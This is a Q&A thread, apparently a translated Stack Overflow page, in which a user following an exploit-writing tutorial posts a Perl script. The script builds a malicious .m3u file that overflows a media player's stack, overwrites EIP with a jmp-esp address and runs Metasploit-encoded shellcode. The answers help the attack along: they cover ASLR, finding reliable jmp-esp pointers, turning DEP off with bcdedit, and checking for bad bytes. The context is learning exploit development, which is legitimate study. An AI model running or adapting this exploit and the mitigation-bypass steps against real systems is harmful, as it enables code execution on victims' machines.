【问题标题】:Exploit Development - Shellcode Doesn't Work?漏洞利用开发——Shellcode 不起作用?
【发布时间】:2015-11-06 14:19:25
【问题描述】:

我正在关注corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 以重现该漏洞。

首先,根据以下代码,我发现EIP的位置在26089As(0016F454)之后,而ESP是EIP(0016F45C)之后的4字符:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x444444); 

my $shellcode = "\x90" x 4 ;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

结果:i.stack.imgur.com/LmPG8.png

我通过!mona find -type instr -s "jmp esp" -x X 找到了指向jmp-esp 指令的指针。我用0x7457AC5B 一个。

结果:http://i.stack.imgur.com/iUoVY.png

我小心翼翼地让一切看起来都正常。最终代码:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC  0x1001B058       0x7457AC5B

my $shellcode = "\x90" x 4 ;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

最终结果:http://i.stack.imgur.com/JSwKt.png

它只是不起作用!我相信我的 EIP 和 shellcode 的位置是正确的,所以问题可能是 shellcode 的有效性。我尝试了从其他网站启动 calc.exe 的 shellcode,但没有成功。

为什么它不起作用? 我正在使用 Windows 10 x64。请指导我,因为我已经坚持了几个星期,并且我已经仔细检查了网络上类似问题的文章。 我真的不知道。

提前致谢。

【问题讨论】:

    标签: stack-overflow buffer-overflow exploit shellcode metasploit


    【解决方案1】:
    • 目标操作系统:
      小心! ==> ASLR!!!
      在教程中,目标似乎是“Windows XP SP3 (En)”,他在“Windows XP [Version 5.1.2600]”上进行了测试。
      在 cmets 中,即使在重新启动后,对使用 ASLR 处理 “Win7 Prof Ver 6.1.7600 英语” 的程序也有积极的反馈。 您正在 Windows 10 上进行测试,显然是使用 ASLR。
    • 跨 Windows 平台的可靠性:
      我确定!您确实可以控制 EIP 0016F454(我们看到“DDDD”),ESP 指向 0016F45C(shellcode)
      你尝试过不同的指令吗? (jmp、call 或 push-ret)。
      您在 cfgmgr32.dll 中使用了 0x7457AC5B ==> "jmp-esp"。
      您在 MSRMCcodec02.dll 中尝试过 0x035bf23a ==> "jmp-esp" 吗?
    • 尝试找到可靠的指针:
      pvefindaddr j -r esp -n -o(免疫调试器或任何东西)。最好避免 "SafeSEH""ASLR"

    【讨论】:

    • 谢谢!现在我明白了,指向 esp 指令的指针的地址是可变的。我使用!mona find -type instr -s "jmp esp" -x X -cm aslr=false 查找地址每次程序运行时(当可利用程序的UI出现时),然后在我的Perl代码中使用这个地址来生成shellcode(这样EIP指针必须工作)。但无济于事 它显示access violation when executing [7C862AED] 其中7c862aed 是我启动calc 的shellcode 的第20-23 个字符。所以,问题是 shellcode。我应该自己为 Win10 x64 生成 shellcode 生成 calc.exe 吗?怎么样?
    • 您是否尝试过使用 DEP disabledbcdedit.exe /set nx optinbcdedit.exe /set nx AlwaysOff。使用 AllwaysOff,您可能需要禁用安全启动。使用 optin,您应该使用来自被利用程序组件的指针。
    【解决方案2】:

    你检查坏字节了吗?文件解析器经常使用某些字节作为魔术标记,并可能导致您的 shellcode 无法完整复制或翻译为损坏的 shell 代码。您可以使用 mona 的 bytearray 功能来帮助您识别坏字节(https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

    【讨论】:

    • 感谢您的建议。但是在我仔细检查之后,除了 NULL 之外没有一个字符是坏字节。
    猜你喜欢
    • 2018-10-22
    • 1970-01-01
    • 1970-01-01
    • 2021-11-30
    • 1970-01-01
    • 1970-01-01
    • 2012-06-02
    • 2017-11-23
    • 1970-01-01
    相关资源
    最近更新 更多